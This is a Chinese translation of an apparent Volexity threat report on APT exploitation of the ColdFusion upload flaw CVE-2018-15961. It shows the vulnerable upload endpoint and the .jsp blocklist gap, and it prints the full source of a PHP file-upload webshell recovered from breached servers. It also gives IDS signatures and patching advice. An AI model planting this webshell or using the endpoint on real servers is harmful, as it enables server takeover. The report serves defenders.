ColdFusion最新任意檔案上傳漏洞的利用活動分析(CVE-2018-15961)
概述
Volexity最近觀察到野外存在對Adobe ColdFusion中新修復漏洞的利用,該漏洞目前在網上不存在任何公開細節或概念驗證(PoC)程式碼。在Volexity檢測到的攻擊中,一個自稱是來自中國的APT組織直接上傳了“China Chopper WebShell”以破壞受漏洞影響的ColdFusion伺服器,該伺服器僅僅缺少兩週前釋出的Adobe安全更新。在2018年9月11日,Adobe釋出了安全公告APSB18-33,該公告中修復了一些漏洞,其中包括未經身份驗證的檔案上傳漏洞。根據公告內容,該漏洞已經被編號為CVE-2018-15961,影響ColdFusion 11(Update 14及此前版本)、ColdFusion 2016(Update 6及此前版本)和ColdFusion 2018(7月12日版本)。實際上,上述囊括了過去四年內釋出的所有版本。
Adobe的ColdFusion Web應用程式開發平臺歷來是APT組織的主要攻擊目標,他們希望能破壞執行該應用程式的網路。ColdFusion的最新版本包括WYSIWYG富文字編輯器CKEditor。在早期版本中,Adobe集成了舊版的WYSIWYG編輯器FCKeditor。根據推測,Adobe在使用CKEditor替換FCKeditor時,無意中引入了一個未經身份驗證的檔案上傳漏洞。該漏洞與2009年在ColdFusion中發現的FCKeditor未經身份驗證檔案上傳漏洞具有驚人的相似性,較早的這個漏洞已經在APSB09-09中實現修復。
根據APSB18-33公告中的資訊,Foundeo是一家專門從事ColdFusion開發和諮詢的公司。目前,沒有任何公開發布的內容描述這一漏洞詳情,同樣也沒有提供與CKEditor相關的任何資訊。Volexity與Adobe合作驗證了CVE-2018-15961漏洞被利用的問題。在聯絡Adobe時,他們尚未意識到該漏洞正在野外被利用。Volexity提供了有關攻擊的其他詳細資訊,隨後Adobe迅速將該漏洞的嚴重程度升級到“優先順序1”。
APT組織對CVE-2018-15961的漏洞利用
在Adobe釋出更新的大約兩週後,Volexity就發現了對該漏洞的利用。攻擊者通過對upload.cfm檔案傳送簡單HTTP POST請求,就能夠輕鬆實現利用。該檔案不受限制,並且不需要任何身份驗證。以下是經過編輯的POST請求,其中部分地方展現了漏洞的利用方式。
POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm?action=upload HTTP/1.1 Accept: text/html, application/xhtml+xml, */* Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36 Content-Type: multipart/form-data; boundary=—————————5b12d3a3190134 Accept-Encoding: gzip, deflate Content-Length: 9308 Host: <hostname> Pragma: no-cache Connection: close —————————–5b12d3a3190134 <redacted>
Volexity觀察到APT組織利用CVE-2018-15961上傳了China Chopper的JSP版本,並且在被阻斷之前,成功在存在漏洞的Web伺服器上執行命令。值得注意的是,ColdFusion會嘗試在名為setting.cfm的配置檔案中限制允許通過CKEditor上傳的檔案型別。該檔案中相關設定(預設設定)如下:
<cfset settings.disfiles = “cfc,exe,php,asp,cfm,cfml”>
該設定將阻止上傳任何副檔名與上述副檔名相匹配的檔案。我們觀察到,APT組織發現在Adobe的預設配置中並沒有包含.jsp副檔名,而這是存在問題的,因為ColdFusion允許.jsp檔案被主動執行。攻擊者還通過“path”表單變數,確定了目錄修改漏洞,該變數允許攻擊者將目錄更改為上傳檔案的位置。這一位置,即使.jsp副檔名已經新增到阻止列表中,攻擊者也可能在系統的某個位置放置了另一個指令碼或可執行檔案,並嘗試以此攻陷主機(可能會在重新啟動後執行)。在Adobe本次更新中,已經將.jsp副檔名新增到預設禁止的檔案列表中,路徑修改漏洞也已經修復。
漏洞利用的深入分析
在確認了APT組織對CVE-2018-15961進行漏洞利用之後,我們檢查了幾個可以訪問到網際網路的ColdFusion網路伺服器。在此過程中,我們發現了很多疑似被攻陷的系統,這些系統來自各類組織,如教育機構、州政府、衛生研究機構、人道主義救援組織等。其中,每個站點都出現了嘗試上傳WebShell的跡象,同時有部分HTML檔案已經遭到修改。我們無法直接證明,上述情況都是由於CVE-2018-15961的漏洞利用。但是,根據受影響伺服器上檔案的位置,我們判斷一些非APT組織成員可能在2018年9月11日前發現了該漏洞。受感染網站上所有檔案,都位於以下兩個目錄之一:
/cf_scripts/ /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/
在大多數被攻陷主機上,檔案的最後一次修改時間都發生在2018年6月2日或2018年6月6日。我們發現這些主機會連線到幾個站點,它們似乎是用於上傳名稱為“up.php.fla”的PHP檔案,最終都失敗了。看來,攻擊者當時並不清楚.jsp副檔名是被允許的。
<?php $files = @$_FILES[“files”]; if ($files[“name”] != ”) { $fullpath = $_REQUEST[“path”] . $files[“name”]; if (move_uploaded_file($files[‘tmp_name’], $fullpath)) { echo “<h1><a href=’$fullpath’>OK-Click here!</a></h1>”; } }echo ‘<html><head><title>Upload files…</title></head><body><form method=POST enctype=”multipart/form-data” action=””><input type=text name=path><input type=”file” name=”files”><input type=submit value=”Up”></form></body></html>’; ?> Several of the affected websites contained an HTML index file that purported to be from the hacktivist group “TYPICAL IDIOT SECURITY.” The defaced web pages all contained the following message: Hacked by AnoaGhost – Typical Idiot Security #together laugh in ur security since 2k17# We are:~•Khunerable – SPEEDY-03 – PYS404 – Mirav – Grac3 – AnoaGhost – Jje Incovers – Panataran – magelangGetar – Kersen.id•
這個黑客組織似乎來自印度尼西亞,其成員AnoaGhost似乎也與ISIS相關的黑客組織之間有聯絡。
簽名
以下入侵檢測系統(IDS)簽名可用於查詢CVE-2018-15961的濫用行為。
Suricata:
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:”Volex – ColdFusion Unauthenticated Upload Attempt (upload.cfm)”; flow:to_server,established; content:”POST”; http_method; content:”upload.cfm?action=upload”; nocase; http_uri; sid:2018093003;)
Snort:
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:”Volex – ColdFusion Unauthenticated Upload Attempt (upload.cfm)”; flow:to_server,established; content:”POST”; http_method; content:”upload.cfm?action=upload”; nocase; http_uri; sid:2018093003;)
安全建議
如果ColdFusion伺服器已經接入網際網路,那麼有必要檢查日誌檔案和目錄中是否存在任何可疑的內容。一旦發現可疑日誌條目或檔案,那麼需要進行更深入的分析。
我們建議,立即應用Adobe ColdFusion補丁。保持補丁時刻更新到最新的最佳方法,是通過ColdFusion管理員面板中配置選項進行配置。下圖展示了Server Update > Updates > Settings下的預設配置。
我們建議,進行以下配置更改:
選中“Automatically Check for Updates”(自動檢查更新)選項;
選中“Check for updates every 10 days”(每10天檢查更新)選項,並將10更改為1;
正確配置電子郵件設定,從而能及時將更新情況通知給管理員,以便採取措施。
此外,建議所有ColdFusion管理員只通過允許的IP地址訪問(通常是通過/CFIDE/administrator)。
總結
Adobe ColdFusion很久之前就被發現過存在遠端可利用的漏洞,目前是一些民族主義攻擊者最喜歡攻擊的目標。因此,需要各組織擁有較為完善的補丁管理流程,以防範CVE-2018-15961的威脅。我們建議各組織立即對正在使用的Adobe ColdFusion例項進行排查,驗證當前正在使用的版本,並及時對易受攻擊的版本進行更新。